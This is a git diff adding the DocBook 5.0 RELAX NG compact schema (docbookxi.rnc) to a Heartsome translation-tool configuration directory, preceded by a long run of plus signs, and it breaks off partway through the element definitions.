+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook5.0/docbookxi.rnc b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook5.0/docbookxi.rnc new file mode 100644 index 0000000..5030d9b --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook5.0/docbookxi.rnc @@ -0,0 +1,10368 @@ +namespace a = "http://relaxng.org/ns/compatibility/annotations/1.0" +namespace ctrl = "http://nwalsh.com/xmlns/schema-control/" +default namespace db = "http://docbook.org/ns/docbook" +namespace html = "http://www.w3.org/1999/xhtml" +namespace mml = "http://www.w3.org/1998/Math/MathML" +namespace rng = "http://relaxng.org/ns/structure/1.0" +namespace s = "http://www.ascc.net/xml/schematron" +namespace svg = "http://www.w3.org/2000/svg" +namespace xi = "http://www.w3.org/2001/XInclude" +namespace xlink = "http://www.w3.org/1999/xlink" + +s:ns [ + prefix = "a" + uri = "http://relaxng.org/ns/compatibility/annotations/1.0" +] +s:ns [ prefix = "ctrl" uri = "http://nwalsh.com/xmlns/schema-control/" ] +s:ns [ prefix = "db" uri = "http://docbook.org/ns/docbook" ] +s:ns [ + prefix = "dbx" + uri = + "http://sourceforge.net/projects/docbook/defguide/schema/extra-markup" +] +s:ns [ prefix = "html" uri = "http://www.w3.org/1999/xhtml" ] +s:ns [ prefix = "mml" uri = "http://www.w3.org/1998/Math/MathML" ] +s:ns [ prefix = "rng" uri = "http://relaxng.org/ns/structure/1.0" ] +s:ns [ prefix = "s" uri = "http://www.ascc.net/xml/schematron" ] +s:ns [ prefix = "svg" uri = "http://www.w3.org/2000/svg" ] +s:ns [ prefix = "xi" uri = "http://www.w3.org/2001/XInclude" ] +s:ns [ prefix = "xlink" uri = "http://www.w3.org/1999/xlink" ] +# DocBook V5.0b5 + +# See http://docbook.org/ns/docbook +start = + (db.set + | db.book + | db.divisions + | db.components + | db.navigation.components + | db.section + | db.para) + | (db.sect1 | db.sect2 | db.sect3 | db.sect4 | db.sect5) + | (db.refentry | db.refsection) + | (db.refsect1 | db.refsect2 | db.refsect3) + | db.setindex +div { + db._any.attribute = + + ## Any attribute including in any attribute in any namespace. + attribute * { text } + db._any = + + ## Any element from almost any namespace + element * - (db:* | html:*) { + (db._any.attribute | text | db._any)* + } +} +db.effectivity.attributes = + + ## Designates the computer or chip architecture to which the element applies + attribute arch { text }?, + + ## provides a standard place for application-specific effectivity + attribute condition { text }?, + + ## Indicates standards conformance characteristics of the element + attribute conformance { text }?, + + ## Indicates the operating system to which the element is applicable + attribute os { text }?, + + ## Indicates the editorial revision to which the element belongs + attribute revision { text }?, + + ## Indicates something about the security level associated with the element to which it applies + attribute security { text }?, + + ## Indicates the level of user experience for which the element applies + attribute userlevel { text }?, + + ## Indicates the computer vendor to which the element applies. + attribute vendor { text }?, + + ## Indicates the word size (width in bits) of the computer architecture to which the element applies + attribute wordsize { text }? +db.endterm.attribute = + + ## Points to the element whose content is to be used as the text of the link + attribute endterm { xsd:IDREF } +db.linkend.attribute = + + ## Points to an internal link target by identifying the value of its xml:id attribute + attribute linkend { xsd:IDREF } +db.linkends.attribute = + + ## Points to one or more internal link targets by identifying the value of their xml:id attributes + attribute linkends { xsd:IDREFS } +db.xlink.href.attribute = + + ## Identifies a link target with a URI + attribute xlink:href { text } +db.xlink.type.attribute = + + ## Identifies the XLink link type + attribute xlink:type { + + ## An XLink simple link + "simple" + } +db.xlink.role.attribute = + + ## Identifies the XLink role of the link + attribute xlink:role { xsd:anyURI } +db.xlink.arcrole.attribute = + + ## Identifies the XLink arcrole of the link + attribute xlink:arcrole { xsd:anyURI } +db.xlink.title.attribute = + + ## Identifies the XLink title of the link + attribute xlink:title { text }? +db.xlink.show.enumeration = + + ## An application traversing to the ending resource should load it in a new window, frame, pane, or other relevant presentation context. + "new" + | + ## An application traversing to the ending resource should load the resource in the same window, frame, pane, or other relevant presentation context in which the starting resource was loaded. + "replace" + | + ## An application traversing to the ending resource should load its presentation in place of the presentation of the starting resource. + "embed" + | + ## The behavior of an application traversing to the ending resource is unconstrained by XLink. The application should look for other markup present in the link to determine the appropriate behavior. + "other" + | + ## The behavior of an application traversing to the ending resource is unconstrained by this specification. No other markup is present to help the application determine the appropriate behavior. + "none" +db.xlink.show.attribute = + + ## Identifies the XLink show behavior of the link + attribute xlink:show { db.xlink.show.enumeration } +db.xlink.actuate.enumeration = + + ## An application should traverse to the ending resource immediately on loading the starting resource. + "onLoad" + | + ## An application should traverse from the starting resource to the ending resource only on a post-loading event triggered for the purpose of traversal. + "onRequest" + | + ## The behavior of an application traversing to the ending resource is unconstrained by this specification. The application should look for other markup present in the link to determine the appropriate behavior. + "other" + | + ## The behavior of an application traversing to the ending resource is unconstrained by this specification. No other markup is present to help the application determine the appropriate behavior. + "none" +db.xlink.actuate.attribute = + + ## Identifies the XLink actuate behavior of the link + attribute xlink:actuate { db.xlink.actuate.enumeration } +db.href.attribute = + db.xlink.href.attribute + & db.xlink.type.attribute? + & db.xlink.role.attribute? + & db.xlink.arcrole.attribute? + & db.xlink.title.attribute? + & db.xlink.show.attribute? + & db.xlink.actuate.attribute? +db.xml.id.attribute = + + ## Identifies the unique ID value of the element + attribute xml:id { xsd:ID } +db.version.attribute = + + ## Specifies the DocBook version of the element and its descendants + attribute version { text } +db.xml.lang.attribute = + + ## Specifies the natural language of the element and its descendants + attribute xml:lang { text } +db.xml.base.attribute = + + ## Specifies the base URI of the element and its descendants + attribute xml:base { text } +db.remap.attribute = + + ## Provides the name or similar semantic identifier assigned to the content in some previous markup scheme + attribute remap { text } +db.xreflabel.attribute = + + ## Provides the text that is to be generated for a cross reference to the element + attribute xreflabel { text } +db.xrefstyle.attribute = + + ## Specifies a keyword or keywords identifying additional style information + attribute xrefstyle { text } +db.revisionflag.enumeration = + + ## The element has been changed. + "changed" + | + ## The element is new (has been added to the document). + "added" + | + ## The element has been deleted. + "deleted" + | + ## Explicitly turns off revision markup for this element. + "off" +db.revisionflag.attribute = + + ## Identifies the revision status of the element + attribute revisionflag { db.revisionflag.enumeration } +db.dir.enumeration = + + ## Left-to-right text + "ltr" + | + ## Right-to-left text + "rtl" + | + ## Left-to-right override + "lro" + | + ## Right-to-left override + "rlo" +db.dir.attribute = + + ## Identifies the direction of text in an element + attribute dir { db.dir.enumeration } +db.common.attributes = + db.xml.id.attribute? + & db.version.attribute? + & db.xml.lang.attribute? + & db.xml.base.attribute? + & db.remap.attribute? + & db.xreflabel.attribute? + & db.revisionflag.attribute? + & db.dir.attribute? + & db.effectivity.attributes + & db.annotations.attribute? +db.common.idreq.attributes = + db.xml.id.attribute + & db.version.attribute? + & db.xml.lang.attribute? + & db.xml.base.attribute? + & db.remap.attribute? + & db.xreflabel.attribute? + & db.revisionflag.attribute? + & db.dir.attribute? + & db.effectivity.attributes + & db.annotations.attribute? +db.common.linking.attributes = + (db.linkend.attribute | db.href.attribute)? +db.common.req.linking.attributes = + db.linkend.attribute | db.href.attribute +db.common.data.attributes = + + ## Specifies the format of the data + attribute format { text }?, + ( + ## Indentifies the location of the data by URI + attribute fileref { xsd:anyURI } + | + ## Identifies the location of the data by external identifier (entity name) + attribute entityref { xsd:ENTITY }) +db.verbatim.continuation.enumeration = + + ## Line numbering continues from the immediately preceding element with the same name. + "continues" + | + ## Line numbering restarts (begins at 1, usually). + "restarts" +db.verbatim.continuation.attribute = + + ## Determines whether line numbering continues from the previous element or restarts. + attribute continuation { db.verbatim.continuation.enumeration } +db.verbatim.linenumbering.enumeration = + + ## Lines are numbered. + "numbered" + | + ## Lines are not numbered. + "unnumbered" +db.verbatim.linenumbering.attribute = + + ## Determines whether lines are numbered. + attribute linenumbering { db.verbatim.linenumbering.enumeration } +db.verbatim.startinglinenumber.attribute = + + ## Specifies the initial line number. + attribute startinglinenumber { xsd:integer } +db.verbatim.language.attribute = + + ## Identifies the language (i.e. programming language) of the verbatim content. + attribute language { text } +db.verbatim.xml.space.attribute = + + ## Can be used to indicate explicitly that whitespace in the verbatim environment is preserved. Whitespace must always be preserved in verbatim environments whether this attribute is specified or not. + attribute xml:space { + + ## Whitespace must be preserved. + "preserve" + } +db.verbatim.attributes = + db.verbatim.continuation.attribute? + & db.verbatim.linenumbering.attribute? + & db.verbatim.startinglinenumber.attribute? + & db.verbatim.language.attribute? + & db.verbatim.xml.space.attribute? +db.label.attribute = + + ## Specifies an identifying string for presentation purposes + attribute label { text } +db.width.characters.attribute = + + ## Specifies the width (in characters) of the element + attribute width { xsd:integer } +db.spacing.enumeration = + + ## The spacing should be "compact". + "compact" + | + ## The spacing should be "normal". + "normal" +db.spacing.attribute = + + ## Specifies (a hint about) the spacing of the content + attribute spacing { db.spacing.enumeration } +db.pgwide.enumeration = + + ## The element should be rendered in the current text flow (with the flow column width). + "0" + | + ## The element should be rendered across the full text page. + "1" +db.pgwide.attribute = + + ## Indicates if the element is rendered across the column or the page + attribute pgwide { db.pgwide.enumeration } +db.language.attribute = + + ## Identifies the language (i.e. programming language) of the content. + attribute language { text } +db.performance.enumeration = + + ## The content describes an optional step or steps. + "optional" + | + ## The content describes a required step or steps. + "required" +db.performance.attribute = + + ## Specifies if the content is required or optional. + attribute performance { db.performance.enumeration } +db.floatstyle.attribute = + + ## Specifies style information to be used when rendering the float + attribute floatstyle { text } +db.width.attribute = + + ## Specifies the width of the element + attribute width { text } +db.depth.attribute = + + ## Specifies the depth of the element + attribute depth { text } +db.contentwidth.attribute = + + ## Specifies the width of the content rectangle + attribute contentwidth { text } +db.contentdepth.attribute = + + ## Specifies the depth of the content rectangle + attribute contentdepth { text } +db.scalefit.enumeration = + + ## False (do not scale-to-fit; anamorphic scaling may occur) + "0" + | + ## True (scale-to-fit; anamorphic scaling is forbidden) + "1" +db.scale.attribute = + + ## Specifies the scaling factor + attribute scale { text } +db.halign.enumeration = + + ## Centered horizontally + "center" + | + ## Aligned horizontally on the specified character + "char" + | + ## Fully justified (left and right margins or edges) + "justify" + | + ## Left aligned + "left" + | + ## Right aligned + "right" +db.valign.enumeration = + + ## Aligned on the bottom of the region + "bottom" + | + ## Centered vertically + "middle" + | + ## Aligned on the top of the region + "top" +db.biblio.class.enumeration = + + ## A document object identifier. + "doi" + | + ## An international standard book number. + "isbn" + | + ## An international standard technical report number (ISO 10444). + "isrn" + | + ## An international standard serial number. + "issn" + | + ## A Library of Congress reference number. + "libraryofcongress" + | + ## A publication number (an internal number or possibly organizational standard). + "pubsnumber" + | + ## A Uniform Resource Identifier + "uri" +db.biblio.class-enum.attribute = + + ## Identifies the kind of bibliographic identifier + attribute class { db.biblio.class.enumeration }? +db.biblio.class-other.attribute = + + ## Identifies the nature of the non-standard bibliographic identifier + attribute otherclass { xsd:NMTOKEN } +db.biblio.class-other.attributes = + + ## Identifies the kind of bibliographic identifier + attribute class { + + ## Indicates that the identifier is some 'other' kind. + "other" + } + & db.biblio.class-other.attribute +db.biblio.class.attribute = + db.biblio.class-enum.attribute | db.biblio.class-other.attributes +db.ubiq.inlines = + (db.inlinemediaobject + | db.remark + | db.superscript + | db.subscript + | db.link.inlines + | db.alt) + | db.annotation + | db.indexterm +db._text = (text | db.ubiq.inlines | db._phrase | db.replaceable)* +db._title = db.title? & db.titleabbrev? & db.subtitle? +db._title.req = db.title & db.titleabbrev? & db.subtitle? +db._title.only = db.title? & db.titleabbrev? +db._title.onlyreq = db.title & db.titleabbrev? +db._info = (db._title.req?, db.titleforbidden.info?) | db.info? +db._info.title.req = + (db._title.req, db.titleforbidden.info?) | db.titlereq.info +db._info.title.only = + (db._title.only, db.titleforbidden.info?) | db.titleonly.info +db._info.title.onlyreq = + (db._title.onlyreq, db.titleforbidden.info?) | db.titleonlyreq.info +db._info.title.forbidden = db.titleforbidden.info? +db.all.inlines = + (text + | db.ubiq.inlines + | db.general.inlines + | db.domain.inlines + | db.extension.inlines) + | db.xi.include +db.general.inlines = + db.publishing.inlines + | db.product.inlines + | db.bibliography.inlines + | db.graphic.inlines + | db.indexing.inlines + | db.link.inlines +db.domain.inlines = + (db.technical.inlines + | db.error.inlines + | db.os.inlines + | db.programming.inlines + | db.markup.inlines + | db.gui.inlines + | db.keyboard.inlines) + | db.math.inlines +db.technical.inlines = + (db.replaceable + | db.systemitem + | db.option + | db.optional + | db.package + | db.parameter + | db.property + | db.termdef) + | db.nonterminal +db.error.inlines = + db.errorcode | db.errortext | db.errorname | db.errortype +db.oo.inlines = db.ooclass | db.ooexception | db.oointerface +db.programming.inlines = + db.function + | db.parameter + | db.varname + | db.returnvalue + | db.type + | db.classname + | db.exceptionname + | db.interfacename + | db.methodname + | db.modifier + | db.initializer + | db.oo.inlines +db.product.inlines = + db.productnumber + | db.productname + | db.database + | db.application + | db.hardware + | db.trademark +db.os.inlines = + db.prompt + | db.envar + | db.filename + | db.command + | db.computeroutput + | db.userinput +db.markup.inlines = + db.tag + | db.markup + | db.token + | db.symbol + | db.literal + | db.code + | db.constant + | db.email + | db.uri +db.bibliography.inlines = + db.citation + | db.citerefentry + | db.citetitle + | db.citebiblioid + | db.author + | db.personname + | db.orgname + | db.editor +db.publishing.inlines = + (db.abbrev + | db.acronym + | db.date + | db.emphasis + | db.footnote + | db.footnoteref + | db.foreignphrase + | db.phrase + | db.quote + | db.subscript + | db.superscript + | db.wordasword) + | db.glossary.inlines + | db.coref +db.graphic.inlines = db.inlinemediaobject +db.indexing.inlines = notAllowed | db.indexterm +db.gui.inlines = + db.guiicon + | db.guibutton + | db.guimenuitem + | db.guimenu + | db.guisubmenu + | db.guilabel + | db.menuchoice + | db.mousebutton +db.keyboard.inlines = + db.keycombo + | db.keycap + | db.keycode + | db.keysym + | db.shortcut + | db.accel +db.link.inlines = + (db.xref | db.link | db.olink | db.anchor) | db.biblioref +db.extension.inlines = notAllowed +db.nopara.blocks = + (db.list.blocks + | db.admonition.blocks + | db.formal.blocks + | db.informal.blocks + | db.publishing.blocks + | db.graphic.blocks + | db.technical.blocks + | db.verbatim.blocks + | db.synopsis.blocks + | db.bridgehead + | db.remark + | db.revhistory) + | db.indexterm + | db.math.blocks +db.para.blocks = db.anchor | db.para | db.formalpara | db.simpara +db.all.blocks = + (db.nopara.blocks | db.para.blocks | db.extension.blocks) + | db.annotation + | db.xi.include +db.formal.blocks = db.example | db.figure | db.table +db.informal.blocks = + db.informalexample | db.informalfigure | db.informaltable +db.publishing.blocks = + db.sidebar | db.blockquote | db.address | db.epigraph +db.graphic.blocks = db.mediaobject | db.screenshot +db.technical.blocks = + db.procedure + | db.task + | (db.productionset | db.constraintdef) + | db.msgset +db.admonition.blocks = + db.caution | db.important | db.note | db.tip | db.warning +db.list.blocks = + (db.itemizedlist + | db.orderedlist + | db.procedure + | db.simplelist + | db.variablelist + | db.segmentedlist) + | db.glosslist + | db.bibliolist + | db.calloutlist + | db.qandaset +db.verbatim.blocks = + (db.programlisting | db.screen | db.literallayout | db.synopsis) + | (db.programlistingco | db.screenco) +db.synopsis.blocks = + db.cmdsynopsis + | db.funcsynopsis + | db.classsynopsis + | db.methodsynopsis + | db.constructorsynopsis + | db.destructorsynopsis + | db.fieldsynopsis +db.extension.blocks = notAllowed +db.info.elements = + (db.abstract + | db.address + | db.artpagenums + | db.author + | db.authorgroup + | db.authorinitials + | db.bibliocoverage + | db.biblioid + | db.bibliosource + | db.collab + | db.confgroup + | db.contractsponsor + | db.contractnum + | db.copyright + | db.cover + | db.date + | db.edition + | db.editor + | db.issuenum + | db.keywordset + | db.legalnotice + | db.mediaobject + | db.orgname + | db.othercredit + | db.pagenums + | db.printhistory + | db.productname + | db.productnumber + | db.pubdate + | db.publisher + | db.publishername + | db.releaseinfo + | db.revhistory + | db.seriesvolnums + | db.subjectset + | db.volumenum) + | db.annotation + | db.extendedlink + | (db.bibliomisc | db.bibliomset | db.bibliorelation | db.biblioset) + | db.itermset + | db.xi.include +db.bibliographic.elements = + db.info.elements + | db.abbrev + | db.citerefentry + | db.citetitle + | db.citebiblioid + | db.personname + | db.subtitle + | db.title +div { + db.title.role.attribute = attribute role { text } + db.title.attlist = + db.title.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.title = + + ## The text of the title of a section of a document or of a formal block-level element + element title { db.title.attlist, db.all.inlines* } +} +div { + db.titleabbrev.role.attribute = attribute role { text } + db.titleabbrev.attlist = + db.titleabbrev.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.titleabbrev = + + ## The abbreviation of a title + element titleabbrev { db.titleabbrev.attlist, db.all.inlines* } +} +div { + db.subtitle.role.attribute = attribute role { text } + db.subtitle.attlist = + db.subtitle.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.subtitle = + + ## The subtitle of a document + element subtitle { db.subtitle.attlist, db.all.inlines* } +} +div { + db.info.role.attribute = attribute role { text } + db.info.attlist = db.info.role.attribute? & db.common.attributes + db.info = + + ## A wrapper for information about a component or other block + element info { db.info.attlist, (db._title & db.info.elements*) } +} +div { + db.titlereq.info.role.attribute = attribute role { text } + db.titlereq.info.attlist = + db.titlereq.info.role.attribute? & db.common.attributes + db.titlereq.info = + + ## A wrapper for information about a component or other block with a required title + element info { + db.titlereq.info.attlist, (db._title.req & db.info.elements*) + } +} +div { + db.titleonly.info.role.attribute = attribute role { text } + db.titleonly.info.attlist = + db.titleonly.info.role.attribute? & db.common.attributes + db.titleonly.info = + + ## A wrapper for information about a component or other block with only a title + element info { + db.titleonly.info.attlist, (db._title.only & db.info.elements*) + } +} +div { + db.titleonlyreq.info.role.attribute = attribute role { text } + db.titleonlyreq.info.attlist = + db.titleonlyreq.info.role.attribute? & db.common.attributes + db.titleonlyreq.info = + + ## A wrapper for information about a component or other block with only a required title + element info { + db.titleonlyreq.info.attlist, + (db._title.onlyreq & db.info.elements*) + } +} +div { + db.titleforbidden.info.role.attribute = attribute role { text } + db.titleforbidden.info.attlist = + db.titleforbidden.info.role.attribute? & db.common.attributes + db.titleforbidden.info = + + ## A wrapper for information about a component or other block without a title + element info { db.titleforbidden.info.attlist, db.info.elements* } +} +div { + db.subjectset.role.attribute = attribute role { text } + db.subjectset.scheme.attribute = + + ## Identifies the controlled vocabulary used by this set's terms + attribute scheme { xsd:NMTOKEN } + db.subjectset.attlist = + db.subjectset.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.subjectset.scheme.attribute? + db.subjectset = + + ## A set of terms describing the subject matter of a document + element subjectset { db.subjectset.attlist, db.subject+ } +} +div { + db.subject.role.attribute = attribute role { text } + db.subject.weight.attribute = + + ## Specifies a ranking for this subject relative to other subjects in the same set + attribute weight { text } + db.subject.attlist = + db.subject.role.attribute? + & 